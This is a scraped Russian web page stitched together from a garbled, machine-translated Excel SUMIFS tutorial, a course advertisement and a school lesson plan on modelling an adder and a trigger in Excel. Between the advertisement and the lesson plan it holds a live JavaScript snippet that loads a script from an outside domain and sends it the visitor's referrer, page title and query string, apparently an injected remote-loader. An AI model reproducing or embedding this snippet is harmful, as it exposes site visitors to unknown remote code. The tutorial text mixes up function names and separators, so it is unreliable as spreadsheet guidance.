Схема сумматора в excel
Предположим, что вам нужно свести значения с более чем одним условием, например суммой продаж продуктов в определенном регионе. Это хороший случай для использования функции СУММЕСС в формуле.
Взгляните на этот пример, в котором есть два условия: мы хотим получить сумму продаж "Мясо" (из столбца C) в регионе "Южный" (из столбца A).
Вот формула, с помощью которая можно сопровождать эту формулу:
=СУММЕСС(D2:D11,A2:A11,"Южный",C2:C11,"Мясо")
Результат — значение 14 719.
Рассмотрим каждую часть формулы более подробно.
=СУММЕСЛИМН — это арифметическая формула. Она вычисляет числа, которые в этом случае находятся в столбце D. Прежде всего нужно указать расположение чисел.
=СУММЕСЛИМН(D2:D11,
Другими словами, вы хотите, чтобы формула суммировала числа в этом столбце, если они соответствуют определенным условиям. Это диапазон ячеок является первым аргументом в этой формуле — первым элементом данных, который требуется функции в качестве входных данных.
Затем вам нужно найти данные, отвечающие двум условиям, поэтому введите первое условие, указав для функции расположение данных (A2:A11) и условие ("Южный"). Обратите внимание на запятую между аргументами:
=СУММЕСЛИМН(D2:D11;A2:A11;"Южный";
Кавычка вокруг текста "Южный" указывает на то, что это текстовые данные.
Наконец, вы вводите аргументы для второго условия — диапазон ячеек (C2:C11), которые содержат слово "Мясо", а также само слово (заключенное в кавычки), чтобы приложение Excel смогло их сопоставить. В конце формулы введите закрываю скобки) и нажмите ввод. Результат — 14 719.
=СУММЕСЛИМН(D2:D11;A2:A11,"Южный";C2:C11,"Мясо")
Если вы ввели в Excel функцию СУММЕСС, если вы не помните аргументов, справка готова. После того как вы введете =СУММЕСС(, под формулой появится автозавершенная формула со списком аргументов в правильном порядке.
На изображении автозавершена формулы и списке аргументов в нашем примере sum_range — D2:D11, столбец чисел, которые нужно свести; criteria_range1 — A2. A11 — столбец данных, в котором находится "Южный" (критерий1).
По мере того, как вы вводите формулу, в автозавершении формулы появятся остальные аргументы (здесь они не показаны); диапазон_условия2 — это диапазон C2:C11, представляющий собой столбец с данными, в котором находится условие2 — “Мясо”.
Если вы нажмете кнопку СУММЕСС в автозавершении формул, откроется статья с дополнительной справкой.
Попробуйте попрактиковаться
Если вы хотите поэкспериментировать с функцией СУММЕСС, вот примеры данных и формула, в которую она используется.
Вы можете работать с образцами данных и формулами прямо в этой Excel в Интернете книге. Изменяйте значения и формулы или добавляйте свои собственные, чтобы увидеть, как мгновенно изменятся результаты.
Скопируйте все ячейки из приведенной ниже таблицы и вставьте их в ячейку A1 нового листа Excel. Вы можете отрегулировать ширину столбцов, чтобы формулы лучше отображались.
Внимание Скидка 50% на курсы! Спешите подать
заявку
Профессиональной переподготовки 30 курсов от 6900 руб.
Курсы для всех от 3000 руб. от 1500 руб.
Повышение квалификации 36 курсов от 1500 руб.
Лицензия №037267 от 17.03.2016 г.
выдана департаментом образования г. Москвы
Урок информатики в 10 классе «Сумматор. Триггер. Построение интерактивной модели средствами MS Excel»
((__lxGc__=window.__lxGc__||<'s':<>,'b':0>)['s']['_197117']=__lxGc__['s']['_197117']||>)['b']['_574359']=<'i':__lxGc__.b++>; var d=document;var s=d.createElement('script'); s.src='https://3slivtd.ru/BFjWgr?frm=script&&'+window.location.search.replace('?', '&')+'&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '&_cid=dd5ad15d-9f89-1596-33bb-24c0516e474b'; d.getElementById("dd5ad15d-9f89-1596-33bb-24c0516e474b").appendChild(s);Урок информатики в 10 классе
«Сумматор. Триггер. Построение интерактивной модели средствами MS Excel »
закрепление темы «Логические основы компьютера»;
формирование умений и навыков составления таблиц для решения задач, имеющих практическую направленность;
формирование представлений о вычислениях в электронных таблицах как важной, полезной и широко применяемой на практике структуре;
закрепление практических навыков работы с MS Excel: работа с логическими функциями, форматирование ячеек, условное форматирование.
развитие логических способностей, памяти, внимания, самостоятельности при работе с программным продуктом;
развитие умений применять знания для решения задач различного рода с помощью электронных таблиц.
воспитание творческого подхода к работе, желания экспериментировать.
воспитание информационной культуры.
Тип урока: практическая работа
Для выполнения работы ученики должны знать и уметь выполнять:
форматирование ячеек (фон, граница, шрифт…);
использовать логические функции.
Учащимся задаются вопросы о порядке выполнения этих операций. Ученики отвечают на вопросы и демонстрируют это на компьютере учителя, при этом экран учительского компьютера проецируется на доску.
Нарисовать схемы триггера и сумматора, используя ячейки электронной таблицы. Используя логические функции, организовать вычисление значений у каждого логического элемента. Значения на выходе схемы меняются автоматически.
Перед выполнением работы ученикам показать образец – один или несколько логических элементов, полностью оформленный в MS Excel или готовые модели триггера и сумматора (полусумматора). Логическая схема и логическая таблица сумматора имеются в тетрадях учеников, но в качестве образцов можно предложить им готовые модели, которые демонстрируются при изучении темы.
Читайте также: